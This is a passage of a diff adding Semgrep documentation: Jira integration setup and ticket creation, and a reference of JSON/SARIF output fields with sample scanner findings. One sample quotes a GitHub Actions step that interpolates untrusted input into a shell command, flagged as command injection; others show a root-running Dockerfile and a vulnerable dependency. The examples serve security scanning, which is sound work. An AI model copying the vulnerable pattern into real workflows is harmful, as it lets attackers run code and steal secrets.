+- The Semgrep Jira integration does not support bi-directional or two-way status syncing.
+
+## Enable the Jira integration
+
+To enable the Jira integration, follow these steps:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Navigate to [**Settings** > **Integrations**](https://semgrep.dev/orgs/-/settings/integrations).
+
+
+Click **Add**. In the menu that appears, select **Jira**.
+
+
+Follow the on-screen instructions to grant Semgrep the necessary permissions and set up the integration.
+
+
+When prompted, select the Jira instance you want to connect to. If you have multiple Jira instances, choose one instance from the **Use app on** drop-down menu.
+ * **For deployments that have used a previous version of the Jira integration**: Ensure you're connecting to the same Jira instance you previously connected to. Please contact Semgrep if you want to connect to a different Jira instance.
+
+
+
+## Configure the integration
+
+Once you have enabled the Jira integration, you must complete the following steps on Semgrep AppSec Platform's **Integrations** page:
+
+
+
+Select the **Subdomain** for the Jira instance you want to use.
+
+
+Select the **Default project** where the Jira tickets will be created.
+
+
+Select the **Issue type** you want created with your Semgrep findings.
+
+
+Optional: To see an example of the content Semgrep populates your Jira ticket with, click **See preview**.
+
+
+Optional: Click **Customize ticket creation**, then select the product whose tickets you want to customize. Automated ticket creation is configured on a per-product basis. For each **Jira field** available on the Jira ticket, you can map to it a **Semgrep or static field** value. See [Create mappings](#create-mappings) for more information.
+
+
+Click **Save changes** to proceed.
+
+
+
+### Automatic creation of tickets
+
+All products limit automatic ticket creation to **Critical** or **High** severity findings. Code findings must also be on your [primary branch](/deployment/primary-branch).
+
+- For Code, Semgrep automatically creates tickets for **high confidence findings**. All criteria for Code also apply to AI-powered detection findings.
+- For Supply Chain, Semgrep automatically creates tickets for **reachable findings** on the primary branch and **malicious dependency findings** on **any** branch.
+- For Secrets, Semgrep automatically creates tickets for **validated secrets** on **any** branch.
+
+Tickets are automatically created for new findings after each scan completes. These tickets always group findings by rule when a scan identifies multiple new findings for the same rule. Automatic ticket creation does not change the triage state of related findings, since related findings have not yet been reviewed by a human when the ticket is generated.
+
+### Automatic detection of other Jira projects
+
+The Jira integration automatically detects other Jira projects in your subdomain under the following conditions:
+
+- The projects and Issue types are **company-managed**, not team-managed. See the Jira documentation about [ Team-managed and company-managed projects](https://support.atlassian.com/jira-software-cloud/what-are-team-managed-and-company-managed-projects/)
+- Those projects have the same **Issue type** as the default project. [When you triage a finding](#code), you can choose which project to create the tickets in.
+
+
+**SAME NAME, DIFFERENT ID**
+
+Issue types may have the same name but different Issue type IDs. When creating tickets, only company-managed Jira projects whose issue type ID matches the default project selected in the integration will appear in the list of available projects.
+If you don't see other Jira projects when creating tickets, check that the Issue type ID is the same across Jira projects. See the [Finding the Issue Type ID in Jira Cloud](https://support.atlassian.com/jira/kb/finding-the-issue-type-id-in-jira-cloud/) for details.
+
+
+### Create mappings
+
+Optionally, you can customize the Jira field mappings and indicate which values they should be populated with. Semgrep can map either Semgrep fields or static data to Jira fields.
+
+Semgrep automatically populates the Jira **Reporter**, **Summary**, and **Description** fields. The issue **Reporter** is the integration user, and the **Summary** and **Description** contain information about the vulnerability. Click **See preview** to review the default mappings and any custom mappings you have created.
+
+Currently, Semgrep supports the mapping of the following field types:
+
+* Short texts
+* Paragraphs
+* Drop-down menus
+* Checkboxes
+* Labels
+* Components (including Compass components)
+
+The integration supports the use of custom Jira issue types and custom fields. However, it does not support field types other than those listed above. If you have a required field of a different type in your project, it will not be possible for Semgrep to map a value to that field, and issue creation will fail.
+
+To create a field mapping:
+
+
+
+Select the Semgrep product for which the mapping is valid: **Code**, **Supply Chain**, **Secrets**, or **Code (AI)**.
+
+
+Click **Add mapping**.
+
+
+Select the **Jira field** to which the Semgrep data should be mapped. You can [create a new field](https://support.atlassian.com/jira-cloud-administration/create-a-custom-field/) if necessary. If you opt not to add Semgrep values to your Jira fields, you can create an [automation to map to your field values](https://www.atlassian.com/software/jira/guides/automation/overview#what-is-automation).
+
+
+Select the **Semgrep field** that holds the data to be mapped.
+
+
+
+Repeat these steps for each mapping you want to create. When done, click **Save changes** to proceed.
+
+
+**WARNING**
+
+Ensure a 1:1 mapping between the Jira issue type field values and the Semgrep values.
+
+
+#### Available field mappings
+
+
+
+The following Semgrep fields are available to map to Jira fields for **all** products:
+
+- Any static value of your choice
+- Project name
+- Project tags
+- Finding timestamp
+- Commit URL
+- Rule name
+- Severity
+- Language
+- Rule description
+- Semgrep AppSec Platform link to the finding
+- Type (for example, Code, Secrets, Supply Chain)
+- Repository name
+- Team name
+- Components
+
+The following Semgrep fields are available to map to Jira fields for Semgrep Code findings:
+
+- Multimodal triage
+- Multimodal component
+- Rule confidence
+
+The following Semgrep fields are available to map to Jira fields for Semgrep Supply Chain findings:
+
+- Reachability
+- Transitivity
+- CVE
+- EPSS probability
+- Malicious Dependency
+
+The following Semgrep fields are available to map to Jira fields for Semgrep Secrets findings:
+
+- Validation
+- Project visibility
+
+
+
+#### Multiple labels
+
+You can map multiple labels to a single Semgrep field when creating a field mapping. In the **Add mapping** dialog:
+
+
+
+Select **Labels** under **Jira fields**.
+
+
+Select **Set a static value** under **Semgrep fields**. A text box appears.
+
+
+Enter each label, separated by a comma. Each of these labels is then added to the ticket.
+
+
+
+
+**TIP**
+
+The **Project tag** Semgrep field also creates multiple labels.
+
+
+### Example mapping
+
+Semgrep's **Severity** field can have the following values: `Low`, `Medium`, `High`, and `Critical`. The following Jira field setups can be used to capture this information:
+
+* A short text issue type field
+* A paragraph issue type field
+* A drop-down issue type field with the following options: `Low`, `Medium`, `High`, `Critical`
+* A checkbox issue type field with the following options: `Low`, `Medium`, `High`, `Critical`
+
+If you opt for a drop-down or a checkbox issue type field, verify that:
+
+* There are no misspellings.
+* No valid options are missing. If your drop-down or checkbox issue type is missing the `Medium` option, Jira cannot create tickets for medium-severity findings.
+
+### Component Mappings
+
+If you've created a custom field mapping for a component field type, be aware that if you choose to create tickets in a Jira project other than your default Jira project as configured in your integration settings, you must ensure that project has a component available with the same name as the component you selected for your mapping.
+
+If your default project uses [**Jira components**](https://support.atlassian.com/jira-software-cloud/what-are-jira-components/) and you create a component field mapping in your integration settings, you can create tickets in another project **only if you have a Jira component with the same name in that project**.
+
+If your default project uses [**Compass components**](https://support.atlassian.com/jira-software-cloud/what-are-compass-components/) and you create a component field mapping in your integration settings, you can create tickets in another project **only if your selected Compass component is available in that project**. You can configure which components are available in each project in your Compass settings.
+
+## Create tickets
+
+After setting up your Jira integration, you're now ready to create Jira tickets. Jira tickets can be created from findings in Semgrep Code, including findings from AI-powered scans, Supply Chain, and Secrets. Jira tickets cannot be created for [findings with a status of **Fixed**](/semgrep-code/triage-remediation#triage-statuses) or [removed findings](/semgrep-code/triage-remediation#removed-findings), since those findings no longer require action to address.
+
+
+
+
+
+You can create tickets for Code findings using the **Triage** button on the:
+
+* [**Findings**](https://semgrep.dev/orgs/-/findings) page
+* Individual finding's **Details** page
+
+To create tickets from the [**Findings**](https://semgrep.dev/orgs/-/findings) page
+
+
+
+Select the findings for which you want tickets created. You can select and create tickets for individual findings or all findings for a given rule.
+
+
+Click **Triage**.
+
+
+Set the status to **Open**, **Fixing**, or **Reviewing**. Select **Fixing** if it is a known issue that needs to be fixed or **Reviewing** if the finding needs more investigation.
+
+
+Optional: You can add **Comments** in the text box.
+
+
+Select the **Create tickets...** checkbox.
+
+ i. Optional: If you've selected multiple findings, click the first drop-down list to choose between making a ticket for **groups of findings** or an individual ticket for **each finding**.
+
+ ii. Optional: Click the **Jira project** drop-down list to select which Jira project to add the findings to. You can choose any project that is associated with the issue type configured in your integration settings.
+
+
+Click **Submit** to proceed.
+
+
+
+To create a ticket from the individual finding's **Details** page:
+
+
+
+Go to the [**Findings**](https://semgrep.dev/orgs/-/findings) page, and identify the finding for which you'd like to create a ticket.
+
+
+Click the finding to open it's **Details** page.
+
+
+Click **Fix** to open the drop-down menu, then select **Create ticket...**.
+
+
+Select the **Jira project** that the ticket should be assigned to, and optionally, choose whether the status of the finding should be marked as **To fix** once Semgrep creates the ticket.
+
+
+Click **Create** to proceed.
+
+
+
+
+
+**INFO**
+
+- Creating tickets for many findings at once may take some time. Tickets that take longer than 10 seconds to create are shown in Semgrep once you refresh the page.
+- If ticket creation **fails**, Semgrep automatically retries several times over the next day to provide robustness against outages and downtime in third-party services.
+
+
+Once a ticket has been created, a link appears on the **Findings** page and in the sidebar of an individual finding's details page.
+
+
+
+
+You can create tickets for Supply Chain findings using the **Triage** button on the:
+
+* [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain) page
+* Individual finding's **Details** page
+
+To create tickets from the [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain) page
+
+
+
+
+Select the findings for which you want tickets created. You can select and create tickets for individual findings or all findings for a given rule.
+
+
+Click **Triage**.
+
+
+Set the status to **Open**, **Fixing**, or **Reviewing**. Select **Fixing** if it is a known issue that needs to be fixed or **Reviewing** if the finding needs more investigation.
+
+
+Optional: You can add **Comments** in the text box.
+
+
+Select the **Create tickets...** checkbox.
+
+ i. Optional: If you've selected multiple findings, click the first drop-down list to choose between making a ticket for **groups of findings** or an individual ticket for **each finding**.
+
+ ii. Optional: Click the **Jira project** drop-down list to select which Jira project to add the findings to. You can choose any project that is associated with the issue type configured in your integration settings.
+
+
+Click **Submit** to proceed.
+
+
+
+To create a ticket from the individual finding's **Details** page:
+
+
+
+Go to [**Supply Chain**](https://semgrep.dev/orgs/-/supply-chain), and identify the finding for which you'd like to create a ticket.
+
+
+Click the finding to open it's **Details** page.
+
+
+Click **Fix** to open the drop-down menu, then select **Create ticket...**.
+
+
+Select the **Jira project** that the ticket should be assigned to, and optionally, choose whether the status of the finding should be marked as **To fix** once Semgrep creates the ticket.
+
+
+Click **Create** to proceed.
+
+
+
+
+
+
+
+You can create tickets for Secrets findings using the **Triage** button on the:
+
+* [**Secrets**](https://semgrep.dev/orgs/-/secrets) page
+* Individual finding's **Details** page
+
+To create tickets from the [**Secrets**](https://semgrep.dev/orgs/-/secrets) page
+
+
+
+Select the findings for which you want tickets created. You can select and create tickets for individual findings or all findings for a given rule.
+
+
+Click **Triage**.
+
+
+Set the status to **Open**, **Fixing**, or **Reviewing**. Select **Fixing** if it is a known issue that needs to be fixed or **Reviewing** if the finding needs more investigation.
+
+
+Optional: You can add **Comments** in the text box.
+
+
+Select the **Create tickets...** checkbox.
+
+ i. Optional: If you've selected multiple findings, click the first drop-down list to choose between making a ticket for **groups of findings** or an individual ticket for **each finding**.
+
+ ii. Optional: Click the **Jira project** drop-down list to select which Jira project to add the findings to. You can choose any project that is associated with the issue type configured in your integration settings.
+
+
+Click **Submit** to proceed.
+
+
+
+To create a ticket from the individual finding's **Details** page:
+
+
+
+Go to [**Secrets**](https://semgrep.dev/orgs/-/secrets), and identify the finding for which you'd like to create a ticket.
+
+
+Click the finding to open it's **Details** page.
+
+
+Click **Fix** to open the drop-down menu, then select **Create ticket...**.
+
+
+Select the **Jira project** that the ticket should be assigned to, and optionally, choose whether the status of the finding should be marked as **To fix** once Semgrep creates the ticket.
+
+
+Click **Create** to proceed.
+
+
+
+
+
+You can create tickets for Code (AI) findings using the **Triage** button on the:
+
+* [**Findings**](https://semgrep.dev/orgs/-/findings) page
+* Individual finding's **Details** page
+
+To create tickets from the [**Findings**](https://semgrep.dev/orgs/-/findings) page
+
+
+
+If you're on the [**Findings**](https://semgrep.dev/orgs/-/findings) page, select the findings for which you want tickets created; you can select and create tickets for individual findings or all findings for a given rule.
+
+
+Click **Triage**.
+
+
+Set the status to **Open**, **Fixing**, or **Reviewing**. Select **Fixing** if it is a known issue that needs to be fixed or **Reviewing** if the finding needs more investigation.
+
+
+Optional: You can add **Comments** in the text box.
+
+
+Select the **Create tickets...** checkbox.
+
+ i. Optional: If you've selected multiple findings, click the first drop-down list to choose between making a ticket for **groups of findings** or an individual ticket for **each finding**.
+
+ ii. Optional: Click the **Jira project** drop-down list to select which Jira project to add the findings to. You can choose any project that is associated with the issue type configured in your integration settings.
+
+
+Click **Submit** to proceed.
+
+
+
+To create a ticket from the individual finding's **Details** page:
+
+
+
+Go to the [**Findings**](https://semgrep.dev/orgs/-/findings) page, and identify the finding for which you'd like to create a ticket.
+
+
+Click the finding to open it's **Details** page.
+
+
+Click **Fix** to open the drop-down menu, then select **Create ticket...**.
+
+
+Select the **Jira project** that the ticket should be assigned to, and optionally, choose whether the status of the finding should be marked as **To fix** once Semgrep creates the ticket.
+
+
+Click **Create** to proceed.
+
+
+
+
+
+## Create tickets through the Semgrep API
+
+Semgrep provides an API endpoint you can use to create Jira tickets, either by passing a list of `issue_ids` or filter query parameters to select findings. Refer to the [ Jira endpoint documentation](https://semgrep.dev/api/v1/#tag/TicketingService).
+
+## Ticket creation information
+
+You can see a Jira ticket's creation information using the relevant finding's details page. The **Activity** section of the finding details page displays information about the successful ticket creation attempt, including the ticket ID:
+
+
+
+
+
+If the ticket wasn't successfully created, you can see the status update and accompanying error message:
+
+
+
+
+
+
+## Change the Jira user associated with the integration
+
+To update the Jira account used to create future tickets:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login), and navigate to **Settings > [Integrations](https://semgrep.dev/orgs/-/settings/integrations)**.
+
+
+In the **Jira Cloud** section, click **Change Jira user**.
+
+
+Authenticate into the Jira account you want to associate with the integration, and grant Semgrep the necessary permissions.
+
+
+
+Updating the Jira user does **not** change the reporter on existing Jira tickets created by Semgrep. Previously created tickets keep their original reporter.
+
+
+## Unlink a ticket from its associated Jira ticket
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the navigation bar, click the product whose findings you want to see.
+
+
+Identify the finding associated with the Jira ticket, and open its finding details page.
+
+
+Click **Fix**, and in the drop-down box that appears, click **Unlink** ***TICKET ID***.
+
+
+
+
+## Remove the Jira integration
+
+To remove the Jira integration from your Semgrep organization:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login), and navigate to **Settings >[Integrations](https://semgrep.dev/orgs/-/settings/integrations)**.
+
+
+Navigate to the **Jira Cloud** section and click **Remove integration**.
+
+
+
+
+**NOTE THAT DELETING THE INTEGRATION:**
+
+* **Does not** delete any tickets created by Semgrep
+* **Removes** the link between Jira tickets and Semgrep findings, even if you re-add the integration in the future
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-appsec-platform/json-and-sarif.mdx b/mintlify-docs/semgrep-appsec-platform/json-and-sarif.mdx
new file mode 100644
index 0000000000..556741562e
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/json-and-sarif.mdx
@@ -0,0 +1,530 @@
+---
+title: "Semgrep JSON and SARIF fields"
+sidebarTitle: "JSON and SARIF fields"
+description: "This reference provides Semgrep fields for JSON and SARIF output."
+---
+
+For fields that are exclusive to Semgrep AppSec Platform, you must [sign in](https://semgrep.dev/login) to generate values for those fields.
+
+## Semgrep Code
+
+### JSON
+
+#### JSON top-level fields
+
+These tables provide a **partial** overview of the fields available to Semgrep Community Edition (CE) and Semgrep AppSec Platform. Refer to the sample schema for all the fields.
+
+| Field | Semgrep CE | Semgrep AppSec Platform |
+| :--- | :--- | :--- |
+| `errors` | ✅ | ✅ |
+| `interfile_languages_used` | ❌ | ✅ |
+| `paths` | ✅ | ✅ |
+| `results` | See [`results` object](#results-object) | See [`results` object](#results-object) |
+| `skipped_rules` | ✅ | ✅ |
+| `version` | ✅ | ✅ |
+
+
+#### `results` object
+
+| Field | Semgrep CE | Semgrep AppSec Platform |
+| :--- | :--- | :--- |
+| `check_id` | ✅ | ✅ |
+| `end` | ✅ | ✅ |
+| `extra` | See [`extra` object](#extra-object) | See [`extra` object](#extra-object) |
+| `skipped_rules` | ✅ | ✅ |
+| `start` | ✅ | ✅ |
+| `paths` | ✅ | ✅ |
+
+
+#### `extra` object
+
+| Field | Semgrep CE | Semgrep AppSec Platform |
+| :--- | :--- | :--- |
+| `engine_kind` | ✅ | ✅ |
+| `fingerprint` | ❌ | ✅ |
+| `fix` | ✅ | ✅ |
+| `is_ignored` | ❌ | ✅ |
+| `lines`* | ❌ | ✅ |
+| `message` | ✅ | ✅ |
+| `metadata` | See [`metadata` object](#metadata-object) | See [`metadata` object](#metadata-object) |
+| `metavars` | ❌ | ✅ |
+| `severity` | ✅ | ✅ |
+| `validation_state`(for Secrets scans only) | ✅ | ✅ |
+
+
+_*`lines` refers to the **text** of the matched lines, not the line numbers themselves. See the [`results` object](#results-object) to view line numbers._
+
+#### `metadata` object
+
+| Field | Semgrep CE | Semgrep AppSec Platform |
+| :--- | :--- | :--- |
+| `category` | ✅ | ✅ |
+| `confidence` | ✅ | ✅ |
+| `cwe` | ✅ | ✅ |
+| `impact` | ✅ | ✅ |
+| `license` | ✅ | ✅ |
+| `likelihood` | ✅ | ✅ |
+| `owasp` | ✅ | ✅ |
+| `references` | ✅ | ✅ |
+| `semgrep.dev` | ❌ | ✅ |
+| `semgrep.policy` | ❌ | ✅ |
+| `shortlink` | ✅ | ✅ |
+| `source` | ✅ | ✅ |
+| `subcategory` | ✅ | ✅ |
+| `technology` | ✅ | ✅ |
+| `vulnerability_class` | ✅ | ✅ |
+
+
+#### JSON example output
+
+The following snippet is a JSON output example with all the fields for Semgrep Code.
+
+```json expandable
+{
+ "check_id": "yaml.github-actions.security.run-shell-injection.run-shell-injection",
+ "path": "STRING",
+ "start":
+ {
+ "line": 18,
+ "col": 9,
+ "offset": 300
+ },
+ "end": {
+ "line": 18,
+ "col": 82,
+ "offset": 373
+ },
+ "extra": {
+ "metavars": {
+ "$SHELL": {
+ "start": {
+ "line": 18,
+ "col": 14,
+ "offset": 305
+ },
+ "end": {
+ "line": 18,
+ "col": 82,
+ "offset": 373
+ },
+ "abstract_content": "echo \"was the box ticked? ${BOX_TICKED}! (${{ inputs.box_ticked }})\""
+ }
+ },
+ "message": "Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".",
+ "metadata": {
+ "category": "security",
+ "cwe": [
+ "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
+ ],
+ "owasp": [
+ "A01:2017 - Injection",
+ "A03:2021 - Injection"
+ ],
+ "references": [
+ "https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections",
+ "https://securitylab.github.com/research/github-actions-untrusted-input/"
+ ],
+ "technology": [
+ "github-actions"
+ ],
+ "cwe2022-top25": true,
+ "cwe2021-top25": true,
+ "subcategory": [
+ "vuln"
+ ],
+ "likelihood": "HIGH",
+ "impact": "HIGH",
+ "confidence": "HIGH",
+ "license": "Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license",
+ "vulnerability_class": [
+ "Command Injection"
+ ],
+ "source": "https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection",
+ "shortlink": "https://sg.run/11zk",
+ "semgrep.dev": {
+ "rule": {
+ "origin": "community",
+ "r_id": 13162,
+ "rule_id": "v8UQj2",
+ "rv_id": 1025108,
+ "url": "https://semgrep.dev/playground/r/akTViyp/yaml.github-actions.security.run-shell-injection.run-shell-injection",
+ "version_id": "akTViyp"
+ }
+ },
+ "dev.semgrep.actions": [
+ "comment"
+ ],
+ "semgrep.policy": {
+ "id": 91181987,
+ "name": "Rule Board - PR Comments column",
+ "slug": "rule-board-pr-comments"
+ },
+ "semgrep.url": "https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection"
+ },
+ "severity": "ERROR",
+ "fingerprint": "...",
+ "lines": " - run: echo \"was the box ticked? ${BOX_TICKED}! (${{ inputs.box_ticked }})\"",
+ "is_ignored": false,
+ "validation_state": "NO_VALIDATOR",
+ "engine_kind": "PRO"
+ }
+}
+```
+
+### SARIF
+
+#### SARIF top-level fields
+
+| Field | Semgrep CE | Semgrep AppSec Platform |
+| :--- | :--- | :--- |
+| `$schema` | ✅ | ✅ |
+| `runs` | See [`runs` object](#runs-object) | See [`runs` object](#runs-object) |
+| `version` | ✅ | ✅ |
+
+#### `runs` object
+
+| Field | Semgrep CE | Semgrep AppSec Platform |
+| :--- | :--- | :--- |
+| `invocations` | ✅ | ✅ |
+| `results` | See [`results` object](#results-object-1) | See [`results` object](#results-object-1) |
+| `rules` | ✅ | ✅ |
+| `semanticVersion` | ✅ | ✅ |
+
+#### `results` object
+
+| Field | Semgrep CE | Semgrep AppSec Platform |
+| :--- | :--- | :--- |
+| `fingerprints` | ❌ | ✅ |
+| `locations` | ✅ | ✅ |
+| `message` | ✅ | ✅ |
+| `properties` | ✅ | ✅ |
+| `ruleId` | ✅ | ✅ |
+
+#### SARIF example output
+
+The following snippet is a SARIF output example with all the fields for Semgrep Code.
+
+```json expandable
+{
+ "version": "2.1.0",
+ "runs": [
+ {
+ "invocations": [
+ {
+ "executionSuccessful": true,
+ "toolExecutionNotifications": []
+ }
+ ],
+ "results": [
+ {
+ "fingerprints": {
+ "matchBasedId/v1": "..."
+ },
+ "fixes": [
+ {
+ "artifactChanges": [
+ {
+ "artifactLocation": {
+ "uri": "Dockerfile"
+ },
+ "replacements": [
+ {
+ "deletedRegion": {
+ "endColumn": 15,
+ "endLine": 39,
+ "startColumn": 1,
+ "startLine": 39
+ },
+ "insertedContent": {
+ "text": "USER non-root\nCMD [\"./main\"]"
+ }
+ }
+ ]
+ }
+ ],
+ "description": {
+ "text": "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n Rule-defined fix: Semgrep rule suggested fix"
+ }
+ }
+ ],
+ "locations": [
+ {
+ "physicalLocation": {
+ "artifactLocation": {
+ "uri": "Dockerfile",
+ "uriBaseId": "%SRCROOT%"
+ },
+ "region": {
+ "endColumn": 15,
+ "endLine": 39,
+ "snippet": {
+ "text": "CMD [\"./main\"]"
+ },
+ "startColumn": 1,
+ "startLine": 39
+ }
+ }
+ }
+ ],
+ }
+ ],
+ "tool": {
+ "driver": {
+ "name": "Semgrep OSS",
+ "rules": [
+ {
+ "defaultConfiguration": {
+ "level": "error"
+ },
+ "fullDescription": {
+ "text": "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."
+ },
+ "help": {
+ "markdown": "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user.missing-user)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n",
+ "text": "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."
+ },
+ "helpUri": "https://semgrep.dev/r/dockerfile.security.missing-user.missing-user",
+ "id": "dockerfile.security.missing-user.missing-user",
+ "name": "dockerfile.security.missing-user.missing-user",
+ "properties": {
+ "precision": "very-high",
+ "tags": [
+ "CWE-250: Execution with Unnecessary Privileges",
+ "MEDIUM CONFIDENCE",
+ "OWASP-A04:2021 - Insecure Design",
+ "rule-board-pr-comments",
+ "security"
+ ]
+ },
+ "shortDescription": {
+ "text": "Semgrep Finding: dockerfile.security.missing-user.missing-user"
+ }
+ }
+ ],
+ "semanticVersion": "1.122.0"
+ }
+ }
+ }
+ ],
+ "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"
+}
+```
+
+## Semgrep Supply Chain
+
+
+**INFO**
+
+You must log in to Semgrep to scan with Semgrep Supply Chain.
+
+
+
+### JSON
+
+#### JSON example output
+
+The following snippet is a JSON output example with all the fields for Semgrep Supply Chain.
+
+```json expandable
+{
+ "version": "1.122.0",
+ "results": [
+ {
+ "check_id": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
+ "path": "go.mod",
+ "start": {
+ "line": 6,
+ "col": 1,
+ "offset": 0
+ },
+ "end": {
+ "line": 6,
+ "col": 1,
+ "offset": 0
+ },
+ "extra": {
+ "metavars": {},
+ "message": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check.",
+ "metadata": {
+ "confidence": "LOW",
+ "category": "security",
+ "cve": "CVE-2023-29401",
+ "cwe": [
+ "CWE-494: Download of Code Without Integrity Check"
+ ],
+ "ghsa": "GHSA-2c4m-59x9-fr2g",
+ "owasp": [
+ "A06:2021 - Vulnerable and Outdated Components",
+ "A08:2021 - Software and Data Integrity Failures"
+ ],
+ "publish-date": "2023-05-12T20:19:25Z",
+ "references": [
+ "https://github.com/advisories/GHSA-2c4m-59x9-fr2g",
+ "https://nvd.nist.gov/vuln/detail/CVE-2023-29401"
+ ],
+ "sca-fix-versions": [
+ {
+ "github.com/gin-gonic/gin": "1.9.1"
+ }
+ ],
+ "sca-kind": "legacy",
+ "sca-schema": 20230302,
+ "sca-severity": "MODERATE",
+ "sca-vuln-database-identifier": "CVE-2023-29401",
+ "technology": [
+ "go"
+ ],
+ "license": "Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license",
+ "vulnerability_class": [
+ "Cryptographic Issues"
+ ],
+ "semgrep.dev": {
+ "rule": {
+ "r_id": 109470,
+ "rv_id": 953164,
+ "rule_id": "4bURlK3",
+ "version_id": "w8TKlRo",
+ "url": "https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
+ "origin": "custom",
+ "rule_name": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b"
+ },
+ "src": "unchanged"
+ },
+ "source": "https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
+ "semgrep.url": "https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
+ "dev.semgrep.actions": []
+ },
+ "severity": "WARNING",
+ "fingerprint": "...",
+ "lines": "\tgithub.com/gin-gonic/gin v1.6.3 // indirect",
+ "is_ignored": false,
+ "sca_info": {
+ "reachability_rule": false,
+ "sca_finding_schema": 20220913,
+ "dependency_match": {
+ "dependency_pattern": {
+ "ecosystem": "gomod",
+ "package": "github.com/gin-gonic/gin",
+ "semver_range": ">=1.3.1-0.20190301021747-ccb9e902956d, <1.9.1"
+ },
+ "found_dependency": {
+ "package": "github.com/gin-gonic/gin",
+ "version": "1.6.3",
+ "ecosystem": "gomod",
+ "allowed_hashes": {},
+ "resolved_url": "github.com/gin-gonic/gin",
+ "transitivity": "transitive",
+ "manifest_path": "go.mod",
+ "lockfile_path": "go.mod",
+ "line_number": 6
+ },
+ "lockfile": "go.mod"
+ },
+ "reachable": false
+ },
+ "engine_kind": "OSS"
+ }
+ }
+ ],
+ "errors": [],
+ "paths": {
+ "scanned": [
+ "go.mod"
+ ]
+ },
+ "interfile_languages_used": [],
+ "skipped_rules": []
+}
+```
+
+### SARIF
+
+#### SARIF example output
+
+The following snippet is a SARIF output example with all the fields for Semgrep Supply Chain.
+
+```json expandable
+{
+ "version": "2.1.0",
+ "runs": [
+ {
+ "invocations": [
+ {
+ "executionSuccessful": true,
+ "toolExecutionNotifications": []
+ }
+ ],
+ "results": [
+ {
+ "fingerprints": {
+ "matchBasedId/v1": "..."
+ },
+ "locations": [
+ {
+ "physicalLocation": {
+ "artifactLocation": {
+ "uri": "go.mod",
+ "uriBaseId": "%SRCROOT%"
+ },
+ "region": {
+ "endColumn": 1,
+ "endLine": 6,
+ "snippet": {
+ "text": "\tgithub.com/gin-gonic/gin v1.6.3 // indirect"
+ },
+ "startColumn": 1,
+ "startLine": 6
+ }
+ }
+ }
+ ],
+ "message": {
+ "text": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check."
+ },
+ "properties": {
+ "exposure": "undetermined"
+ },
+ "ruleId": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b"
+ },
+ ],
+ "tool": {
+ "driver": {
+ "name": "Semgrep OSS",
+ "rules": [
+ {
+ "defaultConfiguration": {
+ "level": "warning"
+ },
+ "fullDescription": {
+ "text": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check."
+ },
+ "help": {
+ "markdown": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check.\n\nReferences:\n - [Semgrep Rule](https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b)\n - [https://github.com/advisories/GHSA-2c4m-59x9-fr2g](https://github.com/advisories/GHSA-2c4m-59x9-fr2g)\n - [https://nvd.nist.gov/vuln/detail/CVE-2023-29401](https://nvd.nist.gov/vuln/detail/CVE-2023-29401)\n",
+ "text": "Affected versions of github.com/gin-gonic/gin are vulnerable to Download of Code Without Integrity Check."
+ },
+ "helpUri": "https://semgrep.dev/orgs/-/supply-chain/advisories?q=ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
+ "id": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
+ "name": "ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b",
+ "properties": {
+ "precision": "very-high",
+ "tags": [
+ "CWE-494: Download of Code Without Integrity Check",
+ "LOW CONFIDENCE",
+ "OWASP-A06:2021 - Vulnerable and Outdated Components",
+ "OWASP-A08:2021 - Software and Data Integrity Failures",
